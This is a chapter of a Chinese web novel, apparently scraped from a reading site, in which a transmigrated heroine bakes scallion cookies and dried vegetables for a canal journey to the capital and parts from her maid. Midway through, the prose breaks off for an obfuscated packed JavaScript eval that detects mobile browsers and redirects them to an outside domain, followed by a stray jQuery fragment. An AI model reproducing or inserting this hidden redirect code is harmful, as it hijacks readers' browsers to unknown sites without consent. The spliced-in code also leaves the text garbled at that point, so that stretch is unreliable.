莫玲珑穿来后,一直注意着林巧对自己言行的反应。
比如此时,林巧的大惊失色,至少说明此时单身女子不方便独自出远门。
但她不能带林巧一起去。
除了要讨回被渣前男友卷走的家产,她还得给自己重操上辈子的旧业留点空间,做点铺垫。
毕竟,原主被爹娘养得娇,平日里很少下厨。
见林巧不解,她解释道:“既然我不同他做夫妻了,那他就是外人,这些年在莫家花用的银钱,当然得好好跟他算。我也不是那种吃了亏往肚里咽的人,所以,上京是必须得去的。”
“我不知道去一趟得多久,但你知道,家里没多少银子了,带上你多一分开销,少一分收入。所以,你留在这里好好守着铺子的生意等我回来,好么?”
“……好。”
谈到银钱短缺,林巧下意识就应了,但很快又把头摇得像拨浪鼓一样,“可是姑娘,你一个人去那么远面怎么行呢?就算漕船公道,可万一碰到坏人怎么办!”
顺着她的话,莫玲珑说:“所以,你去码头帮我留意着,有大户人家带护卫的女眷,或者官老爷搭船的话,我就坐同一趟。”
此处得感谢渣前男友,这些坐船远行的门道,还是他说给她听的。
只要不露财不露色,紧跟大队人马,人身安全应该无虞。
如今拿来说服林巧刚刚好。
她死过一次,惜命如金,但不会因为怕事,就困于当下。
林巧在莫家看店多年,很会跟人打交道。
给码头的人塞了点家家用得上的针头线脑,第二天便打听到次日有个官爷要从金陵去上京,已订了一间二等舱房。
她眼睛一亮,当下便按莫玲珑说的,立刻付银钱也订了一间。
莫玲珑也没闲着。
趁林巧出门蹲守这两天,准备些路上的吃食。
按前男友所说的,北上这段水路,得要走十几天。
漕船上有灶台,可以做点简单的吃食。
她一个人在外,尽量少出舱房,所以除了备主食原材和调料,还要备点干粮和容易存放的干货。
眼下还未到雨季,路上这点时间,东西能存得住。
她在街上转了转,试吃后买了几样。
被林巧夸上天的刘家吊炉烧饼,刚出炉十分香酥可口,只是放凉后会有些坚硬拉嗓。
莫玲珑一捏,发现这面粉实在,筋性很高,就多买了几个。
仙美记的酱菜,也选了几样。
宝塔菜脆口,豆腐乳入口绵密,原料都是一等好的,只是调味略显单一。
梁婆婆家的肉干,硬度和干度都恰到好处,闻起来干净朴素,嚼在嘴里能品出肉的原香。
路上用来增加蛋白质,缺点就是不便宜,半斤就要百来文。
看来,在城东街头能叫人记住,都有几把刷子。
莫玲珑又买了些红薯,南瓜和胡萝卜。
这些菜贱价,她买回来准备在灶上先蒸后烤做成蔬果干。
重头戏落在一张铁丝网上。
这张网,还是前两天她拉着林巧盘库存时找出来的。
几年前一个客人付了银钱定制,莫爹怕做不好,当时找铁匠做了两种。
如今,倒是方便了莫玲珑。
——这妥妥就是张货真价实的烤网嘛!
她将灶里的炉灰掏干净,将网架在炉膛中间,底下点起炭——便成了个简易的窑。
蒸熟后的红薯、南瓜和胡萝卜,依次搁在铁丝网上。
它们慢慢失去水分,在炭火的炙烤下,散发出自身糖分美拉德反应后动人的香气。
虽然最好还是放在太阳下晒。
但眼下时间紧迫,烘烤的成品也会带些独特熏烤风味。
一边烤着,莫玲珑手上也没闲着。
她用从刘家烧饼铺买的散面粉,揉了个大面团,然后在干净的井水里耐心地洗出面筋。
洗出来的面筋晚上做菜,剩下沉淀在盆里的那层细白的粉,就是她需要的淀粉。
莫玲珑按经验粗略配出了一份低筋面粉。
她准备做点饼干带在路上吃,嘴淡的时候,调节调节口味。
眼下材料短缺,她就地取材来做。
摘了点后院的香葱,弃掉葱白不用,用猪油,糖和鸡蛋混合刚得的低筋面粉做成底胚,最后把葱花拌进去。
等烤完瓜果干,她刚好捏完饼干的形状,轻轻地一块块转移到预热好的烤网上。
炉子烤过的温度刚好合适,封上炉头的铁片后,很快,那种跨越甜咸边界的香味挣脱束缚,扑面而来。
这是简化版的葱油曲奇饼干,姑且称为葱油松饼吧。
它的神奇之处便是,明明捆绑着咸鲜印象的葱味,当裹挟着猪油和麦粉在高温下产生的甜香,便有了一种奇妙的丰富口感。
火光透过铁片缝隙,在莫玲珑眼中跳跃。
她安静地听着饼胚在烘烤下发出迷人的松裂声,那是面粉在高温下慢慢熟成的细节。
一时有些恍然。
眼前仿佛是前一世,她耐心调整方子,给奶奶烤低糖低油版的“万年青”饼干。
奶奶,这个饼我烤过很多次,真的烤得很好了。
上辈子最后时刻,ICU惨白的灯光慢慢暗下去的时候,以为你会来接我。
可没想到,睁开眼却到了这里。
一定是你舍不得囡囡这么快与你重逢,求了满天神佛让我再活一世,是不是?
你看着吧,看囡囡好好地活。
香味到达临界点,莫玲珑打开炉口,将烤网小心移出。
虽然关着杂货铺的店门和后门,但香味挡不住,还是引起了隔壁的注意,后院巷子里三三两两聚起人:
“谁家做好吃的呢?这味儿我没闻过,香啊!”
“不像菜,倒像是什么点心,甜不甜,咸不咸的,哪儿卖这种点心,我一定买来尝尝!”
“咱这一片没有吃食店啊,好像是莫家?”
“不可能,我看着林巧挎着个篮子出去了。”
这些声音依稀而零碎地传来,但莫玲珑全没听见。
她专注地将饼干从烤网上摘下,放在笸箩里冷却。
顺手又把早晨在街上买的小虾米洗净了搁上去烘烤——这种小虾没多少肉,吃起来不过瘾,因此价贱,但烤干后碾碎,做菜时添进去,可以提升风味。
然后将油润的五花咸肉和腊肉切成碎丁和片,分别用干箬叶和大米包起——到时候随便一煮就能吃,方便快捷。
莫玲珑不会在吃上委屈自己。
加上漕船中途靠岸,再补充些新鲜蔬果,应该勉强够了。
准备停当后,她收起铁网,将厨房恢复成原样,打开前后窗户散味,然后用扁盒装起葱油松饼。
不多时,林巧回来了。
她办成了差事,又一路快走回来,脸上带着薄薄的红气,一进门喜形于色:“姑娘,订好了订好了,明天那趟去上京的船,有个京官儿的夫人订了间舱房,我特意给你买了同一趟的!”
还是塞了点儿孝敬订到的!
她为自己的机灵一脸得意,“到时候,姑娘你只要不出舱房的门,就安全得很呐!听码头的人说,这夫人还带了护卫,知府大人特地关照要行得稳当,不许出半点差错。”
“好。你可真能干!”
莫玲珑不吝夸奖,倒让林巧别扭起来:“姑娘你也真是的,这算什么能干的!”
说着她耸了耸鼻子,“什么味儿这么香?刚刚胖婶问我是不是家里做好吃的了,我还寻思什么好吃的,乖乖,真香!”
莫玲珑收拾的吃食足有一个包袱大,肯定是避不过她眼的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716586|173738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当下便指着摊在灶上的各色干果,酥饼:“大概是我今天买的饼吧。”
捻了一块葱油松饼塞进林巧嘴里,“尝尝好不好吃?”
松饼入口即化,扑鼻的浓香恨不得让人连舌头都一块儿咽下去。
林巧还没品出咸甜交织得恰到好处的滋味,已经下了肚。
小丫头馋虫被勾起,也没顾上问她家姑娘这么些吃食准备来干嘛,语无伦次地说:“可算知道猪八戒偷吃人参果怎么回事了,我还没尝出味就没了!姑娘你在哪买的,我怎么从来没吃过?”
莫玲珑又塞了一块,搪塞道:“街上买的。”
这回林巧细品出了酥香化渣,葱香扑鼻,咸甜可口的好滋味,好吃得让她想哭:“太好吃了,真的太好吃了!”
林巧的脸部表情,生动得像后世的二次元女孩。
做饭的人,最喜欢的便是林巧这种真诚夸赞,一点不扭捏拿肚子装美食的食客,就好比媚眼抛给情投意合的人儿,一分不落能接住。
莫玲珑喜欢这样的表达,笑着说:“好,下回让你吃个够。”
除了葱油松饼,还有各种甜咸酥饼,夹馅烙饼……换着花样做。
林巧腹诽,她有月钱,不用姑娘付,她自己也能买。
但莫玲珑走后,她日日翘首看着店门前挎篮子卖货的大婶小娘子,却一次也没遇见这让她做梦都馋哭的饼子。当然这是后话了。
其他的换洗衣服和杂物,林巧给她收拾妥当,东西实在不少,次日便赁了辆驴车去漕船码头。
两人肩上各背着个大包袱,很难不被注意。
隔壁的街坊邻居纷纷探头出来,交头接耳,便有人出声:“莫家小娘子,这是要出远门呐?”
林巧拉着莫玲珑的手紧了紧。
陆如冈退婚,她家姑娘本就伤心得很,加上四邻的闲言碎语不断,这才一时想不通上了吊。
胖婶这么问,她会不会又……?
林巧怯怯地侧过脸看过去。
莫玲珑拍拍她的手,示意让她安心,站在车前福了福:“劳胖婶记挂,我要去一趟上京,家里的铺子和林巧拜托大家关照了。”
“哦。”
“去上京啊……”
“放心吧啊!”
众人见两人就要上车,也不好意思继续问她去上京作甚。
直到马车嘚嘚地离开,才回过味来:没听莫家说有亲戚在上京,这是去干嘛?难不成要找那负心郎?
车上,林巧目不转睛看着自家姑娘。
那种陌生的感觉又来了。
自从上次想不开之后,她整个人就变了。
谈起陆郎君不再有什么表情,爱慕和伤心都变得很淡很淡。
那种感觉怎么说呢,就像芯子里换了个人一样。
“你是不是在想,我怎么跟以前不一样,还跟街坊打招呼?”莫玲珑问。
原主做了三年官夫人的美梦。
自认为今后必与市井小民不同,她红袖添香,灯下描眉,却不会掌管家里的生意,人情往来。
林巧被道破心思,不好意思地点了点头。
莫玲珑:“我只是想通了,日子还得继续,不能因为被狗咬了,就怕出门。”
林巧噗嗤一声笑出来。
又在心里把话咂摸了两遍,只觉她家姑娘现在这样子,真是说不出的好。
说话间,驴车到了码头。
临到分别,小丫头才真切地意识到,这一趟两人要分开很长时间。
顿时心底涌起强烈的不舍,站在码头上,拉着莫玲珑哭。
莫玲珑哄完孩子,转身踏上甲板,看着远处滔滔江水,松了口气。
……好悬,差点露了馅!
她看着手里刻了房号的竹牌,顺着找到自己的舱房,刚好看到隔壁那间门口,一段窄腰长腿的身影闪过,门随即关上。